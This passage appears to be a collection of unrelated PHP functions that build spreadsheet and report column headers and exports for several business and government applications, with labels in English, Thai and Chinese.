'style=\"font-style: italic;text-align:center;\" colspan=2');\n }\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "public function getListOfProjectsAll()\n {\n $projectList = $this->project\n ->select('projects.id','customers.name AS customer_name','projects.project_name','projects.otl_project_code','projects.project_type',\n 'projects.activity_type','projects.project_status','projects.meta_activity','projects.region',\n 'projects.country','projects.technology','projects.description','projects.estimated_start_date','projects.estimated_end_date',\n 'projects.comments','projects.LoE_onshore','projects.LoE_nearshore',\n 'projects.LoE_offshore', 'projects.LoE_contractor', 'projects.gold_order_number', 'projects.product_code', 'projects.revenue', 'projects.win_ratio');\n $projectList->leftjoin('customers', 'projects.customer_id', '=', 'customers.id');\n\n $data = Datatables::of($projectList)->make(true);\n\n return $data;\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function sideReportColumns() {\n\t\treturn array(\n\t\t\t\"Title\" => array(\n\t\t\t\t\"title\" => \"Title\",\n\t\t\t\t\"link\" => true,\n\t\t\t),\n\t\t\t\"WFApproverTitle\" => array(\n\t\t\t\t\"title\" => \"Approver\",\n\t\t\t\t\"formatting\" => 'Approved by $value',\n\t\t\t),\n\t\t\t\"WFApprovedWhen\" => array(\n\t\t\t\t\"title\" => \"When\",\n\t\t\t\t\"formatting\" => ' on $value',\n\t\t\t\t'casting' => 'SS_Datetime->Full'\n\t\t\t),\n\t\t);\n\t}", "protected function _prepareColumns() {\n $this->addColumn('period', array(\n 'header' => Mage::helper('webpos')->__('Period'),\n 'align' => 'left',\n 'total' => 'sum',\n 'sortable' => false,\n 'filter' => false,\n 'index' => 'period',\n 'width' => '100px',\n ));\n $this->addColumn('user', array(\n 'header' => Mage::helper('webpos')->__('User'),\n 'align' => 'left',\n 'total' => 'sum',\n 'sortable' => false,\n 'filter' => false,\n 'index' => 'user',\n 'width' => '200px',\n ));\n $this->addColumn('totals_sales', array(\n 'header' => Mage::helper('webpos')->__('Sales Total'),\n 'align' => 'left',\n 'total' => 'sum',\n 'sortable' => false,\n 'filter' => false,\n 'width' => '100px',\n 'index' => 'totals_sales',\n 'type' => 'price',\n 'currency_code' => Mage::app()->getStore()->getBaseCurrency()->getCode(),\n ));\n $this->addExportType('*/*/exportCsv', Mage::helper('webpos')->__('CSV'));\n $this->addExportType('*/*/exportXml', Mage::helper('webpos')->__('XML'));\n\n return parent::_prepareColumns();\n }", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "function js_custom_set_project_columns( $columns ) {\n\t$columns = array(\n\t\t'cb' => '<input type=\"checkbox\" />',\n\t\t'thumbnail' => 'Image',\n\t\t// 'project_title' => __( 'Project Name' ),\n\t\t// 'at_a_glance' => __( 'at a glance' ),\n\t\t// 'raw_data' => __( 'raw' ),\n\t\t'signtypes' => __( 'Featured Signage' ),\n\t\t// 'has_featured_image' => __( 'img' ),\n\t\t// 'service-type' => __( 'Services' ),\n\t\t// 'expertise' => __( 'Expertise' ),\n\t\t// 'sign-types' => __( 'Featured Signage' ),\n\t);\n\t$checkbox = array_slice( $columns, 0, 4 );\n\t$added_columns['project_post_id'] = 'ID';\n\t$columns = array_merge( $checkbox, $added_columns );\n\treturn $columns;\n}", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function index()\n\t{\n\t\t//\n return Excel::create('Mastersheet BQu version', function($excel) {\n\n $excel->sheet('Marks-Input Sheet', function($sheet) {\n\n $sheet->loadView('export.input_sheet')\n ->with('student_module_marks_input',StudentModuleMarksInput::all()->reverse())\n ->with('module_element',ModuleElement::all())\n ->with('modules',Module::all())\n ->with('courses',ApplicationCourse::all())\n ->with('users',User::all());\n\n });\n $excel->setcreator('BQu');\n $excel->setlastModifiedBy('BQu');\n $excel->setcompany('BQuServices(PVT)LTD');\n $excel->setmanager('Rajitha');\n\n })->download('xls');\n\t}", "public static function formatMonthlyBillsToExcelExport(Project $project, BillElectricitySource $electricity_bill)\n {\n return Excel::create($electricity_bill->date_covered.' '.$project->name, function($excel) use ($project, $electricity_bill) {\n $excel->setTitle($electricity_bill->date_covered.' '.$project->name);\n\n $developer = Developer::getCurrentDeveloper();\n $excel->setCompany($developer->name);\n\n $excel->setDescription(\"Water bills for \".$project->name.' '.$electricity_bill->date_covered);\n $excel->sheet($electricity_bill->date_covered, function($sheet) use ($project, $electricity_bill) {\n \n $sheet->row(1, array('PROPERTY','DATE COVERED','CONSUMPTION','BILL','PAYMENT','DATE','REMARKS'));\n\n $sheet->cells('A1:G1', function($cells) {\n $cells->setAlignment('center');\n $cells->setFontWeight('bold');\n });\n\n $properties = Property::leftJoin('bills_electricity_source_details','bills_electricity_source_details.property_id','=','properties.id')\n ->whereRaw(DB::raw('bills_electricity_source_details.bills_electricity_source_id = '.$electricity_bill->id))\n ->get();\n\n $start = 2;\n for($i=$start;$i<count($properties)+$start;$i++){\n $sheet->row($i, array(\n $properties[$i-$start]->name,\n $properties[$i-$start]->date_covered,\n number_format($properties[$i-$start]->consumption, 4, '.', ','),\n number_format($properties[$i-$start]->bill, 4, '.', ','),\n number_format($properties[$i-$start]->payment, 4, '.', ','),\n ($properties[$i-$start]->date_payment != '0000-00-00') ? $properties[$i-$start]->date_payment : \"\",\n $properties[$i-$start]->remarks));\n\n $sheet->cells('A'.$i.':G'.$i, function($cells){\n $cells->setAlignment('center');\n });\n }\n });\n });\n }", "public static function getRecordsContent($project, $datas) {\n\t\t\t//$time = date('H:i:s', time());\n\t\t\t/*for ($i = 0; $i < 100; $i++) {\n\t\t\t\t$f = array('all_code'=>'abc'.$i);\n\t\t\t\tarray_push($datas, $f);\n\t\t\t}*/\n\t\t\t@$language = $_SESSION['language'];\n\t\t\t$content = ReportContentFunction::getHeaderContent($project, $currency_type);\n\t\t\t$index = 0;\n\t\t\t$next_rd_index = 0;\n\t\t\t$content .= '<table align=\"center\" width=\"99%\" border=\"0\" cellspacing=\"1\" cellpadding=\"0\" style=\"border-collapse:collapse;border:1px solid #000000;\"><tbody>';\n\t\t\tif ($language == 'en') {// en\n\t\t\t\t$content .= '<tr align=\"center\">';\n\t\t\t\t$content .= '<td width=\"110\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">CODE</td>';\n\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">TRANSACTION</td>';\n\t\t\t\t$content .= '<td width=\"60\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">BATCH CODE</td>';\n\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">AMOUNT</td>';\n\t\t\t\t$content .= '<td width=\"190\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">DESCRIPTION</td>';\n\t\t\t\t$content .= '<td width=\"120\" style=\"border-right: 0px solid #000000; border-bottom: 0px solid #000000;\">CREATE<br>DATE</td>';\n\t\t\t\t$content .= '</tr>';\n\t\t\t} else {\n\t\t\t\t$content .= '<tr align=\"center\">';\n\t\t\t\t$content .= '<td width=\"110\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">编码</td>';\n\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">单号</td>';\n\t\t\t\t$content .= '<td width=\"60\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">批处理名</td>';\n\t\t\t\t$content .= '<td width=\"70\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">金额</td>';\n\t\t\t\t$content .= '<td width=\"190\" style=\"border-right: 1px solid #000000; border-bottom: 0px solid #000000;\">描述</td>';\n\t\t\t\t$content .= '<td width=\"120\" style=\"border-right: 0px solid #000000; border-bottom: 0px solid #000000;\">创建时间</td>';\n\t\t\t\t$content .= '</tr>';\n\t\t\t}\n\t\t\tforeach ($datas as $data) {\n\t\t\t\t$next_rd_index++;\n\t\t\t\t$index++;\n\t\t\t\t$Amount = $data['amount'];\n\t\t\t\tif(!is_numeric($Amount)||strpos($Amount,\".\") != false){\n\t\t\t\t\t$Amount = number_format($Amount,2);\n\t\t\t\t}else{\n\t\t\t\t\t$Amount = number_format($Amount).\".00\";\n\t\t\t\t}\n\t\t\t\t$code = $data['all_code'];\n\t\t\t\t$content .= '<tr align=\"left\">';\n\t\t\t\t$content .= '<td align=\"left\" style=\"border-right: 1px solid #000000; border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$code.'</td>';\n\t\t\t\t$content .= '<td align=\"left\" style=\"border-right: 1px solid #000000; border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$data['transaction_code'].'</td>';\n\t\t\t\t$content .= '<td align=\"left\" style=\"border-right: 1px solid #000000;border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$data['batch_code'].'</td>';\n\t\t\t\t$content .= '<td align=\"right\" style=\"border-right: 1px solid #000000;border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$Amount.'</td>';\n\t\t\t\t$content .= '<td align=\"left\" style=\"border-right: 1px solid #000000;border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$data['detail_desc'].'</td>';\n\t\t\t\t$content .= '<td align=\"center\" style=\"border-right: 0px solid #000000;border-top: 1px solid #000000;vnd.ms-excel.numberformat:@\">'.$data['detail_record_date'].'</td>';\n\t\t\t\t$content .= '</tr>';\n\t\t\t\t// 换页\n\t\t\t\tif ($index % 55 == 0) {\n\t\t\t\t\tif (count($datas) <= $next_rd_index) {\n\t\t\t\t\t\t//$content .= '</tbody></table><br></div>';\n\t\t\t\t\t\t$content .= '</tbody></table><br>';\n\t\t\t\t\t\treturn $content;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t//$content .= '</tbody></table><br></div><pagebreak />';\n\t\t\t\t\t\t$content .= '</tbody></table><br><pagebreak />';\n\t\t\t\t\t}\n\t\t\t\t\t$content .= ReportContentFunction::getHeaderContent($project, 